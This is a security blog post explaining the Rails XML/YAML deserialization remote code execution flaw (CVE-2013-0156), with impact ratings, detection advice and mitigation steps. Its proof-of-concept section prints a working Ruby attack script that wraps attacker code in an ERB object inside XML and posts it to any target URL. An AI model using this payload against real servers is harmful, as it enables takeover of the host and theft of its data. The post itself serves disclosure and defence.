Rails' Remote Code Execution Vulnerability Explained
We interrupt our regularly scheduled code quality content to raise awareness about a recently-disclosed, critical security vulnerability in Rails.
On Tuesday, a vulnerability was patched in Rails’ Action Pack layer that allows for remote code execution. Since then, a number of proof of concepts have been publicly posted showing exactly how to exploit this issue to trick a remote server into running an attacker’s arbitrary Ruby code.
This post is an attempt to document the facts, raise awareness, and drive organizations to protect their applications and data immediately. Given the presence of automated attack tools, mass scanning for vulnerable applications is likely already in progress.
Vulnerability Summary
An attacker sends a specially crafted XML request to the application containing an embedded YAML-encoded object. Rails’ parses the XML and loads the objects from YAML. In the process, arbitrary Ruby code sent by the attacker may be executed (depending on the type and structure of the injected objects).
- Threat Agents: Anyone who is able to make HTTPs request to your Rails application.
- Exploitability: Easy — Proof of concepts in the wild require only the URL of the application to attack a Ruby code payload.
- Prevalence: Widespread — All Rails versions prior to those released on Tuesday are vulnerable.
- Detectability: Easy — No special knowledge of the application is required to test it for the vulnerability, making it simple to perform automated spray-and-pray scans.
- Technical Impacts: Severe — Attackers can execute Ruby (and therefore shell) code at the privilege level of the application process, potentially leading to host takeover.
- Business Impacts: Severe — All of your data could be stolen and your server resources could be used for malicious purposes. Consider the reputation damage from these impacts.
Step by step:
- Rails parses parameters based on the
Content-Type
of the request. You do not have to be generating XML based responses, callingrespond_to
or taking any specific action at all for the XML params parser to be used. - The XML params parser (prior to the patched versions) activates the YAML parser for elements with
type="yaml"
. Here’s a simple example of XML embedding YAML:yaml: goes here foo: - 1 - 2 - YAML allows the deserialization of arbitrary Ruby objects (providing the class is loaded in the Ruby process at the time of the deserialization), setting provided instance variables.
- Because of Ruby’s dynamic nature, the YAML deserialization process itself can trigger code execution, including invoking methods on the objects being deserialized.
- Some Ruby classes that are present in all Rails apps (e.g. an
ERB
template) evaluate arbitrary code that is stored in their instance variables (template source, in the case ofERB
). - Evaluating arbitrary Ruby code allows for the execution of shell commands, giving the attacked the full privileges of the user running the application server (e.g. Unicorn) process.
It’s worth noting that any Ruby code which takes untrusted input and processes it with YAML.load
is subject to a similar vulnerability (known as “object injection”). This could include third-party RubyGems beyond Rails, or your own application source code. Now is a good time to check for those cases as well.
Proof of Concept
At the suggestion of a member of the Rails team who I respect, I’ve edited this post to withhold some details about how this vulnerability is being exploited. Please be aware however that full, automated exploits are already in the hands of the bad guys, so do not drag your feet on patching.
There are a number of proof of concepts floating around (see the External Links section), but the ones I saw all required special libraries. This is an example based on them with out-of-the-box Ruby (and Rack):
# Copyright (c) 2013 Bryan Helmkamp, Postmodern, GPLv3.0
require "net/https"
require "uri"
require "base64"
require "rack"
url = ARGV[0]
code = File.read(ARGV[1])
# Construct a YAML payload wrapped in XML
payload = <<-PAYLOAD.strip.gsub("\n", " ")
<fail type="yaml">
--- !ruby/object:ERB
template:
src: !binary |-
#{Base64.encode64(code)}
</fail>
PAYLOAD
# Build an HTTP request
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
request = Net::HTTP::Post.new(uri.request_uri)
request["Content-Type"] = "text/xml"
request["X-HTTP-Method-Override"] = "get"
request.body = payload
# Print the response
response = http.request(request)
puts "HTTP/1.1 #{response.code} #{Rack::Utils::HTTP_STATUS_CODES[response.code.to_i]}"
response.each { |header, value| puts "#{header}: #{value}" }
puts
puts response.body
There’s not much to it beyond the payload itself. The only interesting detail is the use of the X-Http-Method-Override
header which instructs Rails to interpret the POST request as a GET.
Originally reports indicated that the vulnerability could only be used on POST/PUT-accessible endpoints. With this trick, we can send a POST (with an XML body) which the Rails router resolves as a GET. This makes it even easier to exploit because you don’t have to identify a POST-accessible URL for each application.
How It Works
Knowing that Rails will YAML.load
the payload, the only difficulty is building a tree of objects that, when deserialized, executes arbitrary Ruby code in the payload. The object graph must be constructed using only classes that are present in the process.
This proof of concept uses ERB
, a Ruby object that conveniently is designed to hold Ruby code in its @src
instance variable, and execute it when #result
is called. The only thing missing is triggering the #result
call. Suffice it to say, a slighlty more complex YAML payload can achieve this. I’ve decided to omit the exact specifics here, but I’m aware of two vectors:
- Ruby’s YAML parser calls
#init_with
, a hook that objects can define to control YAML deserialization. So any class that defines#init_with
and also calls methods on its own instance variables in it could be leveraged to trigger a call into the malicious code. - Ruby’s YAML parser can also trigger the invokation of the
#[]=
(hash setter) method on objects it is building, so objects that take dangerous action based on assigned hash values are also exploitable.
Assessment
With the app source, check for the presence of an affected Rails version and the absence of a workaround. Assessing vulnerability without source code access is slightly more complex but still easy. By sending in payloads and checking the server’s response, you can detect if the application seems to be performing YAML deserialization of params.
For example, Metasploit now includes a scanner that sends two requests, one with a valid YAML object and one with an invalid YAML. If the server responds differently (for example, if it returns a 500 for the invalud YAML only), it is likely deserializing the YAML and vulnerable.
Mitigation
The simplest fix is to upgrade to a patched Rails releases: 3.2.11, 3.1.10, 3.0.19 or 2.3.15. If you cannot upgrade immediately, consider applying one of the published patches.
Workarounds exist for Rails 2.3 and above to disable the dangerous functionality from an initializer without requiring a Rails upgrade. You can find them in the official disclosure.
Because of the severity of this issue, if you cannot upgrade or patch your Rails version immediately, consider urgently applying the workaround.
External Links
- Rails Security Mailing List: Multiple vulnerabilities in parameter parsing in Action Pack (CVE-2013-0156)
- SecurityStreet - Serialization Mischief in Ruby Land (CVE-2013-0156)
Thanks to Adam Baldwin of Lift Security for reviewing this post.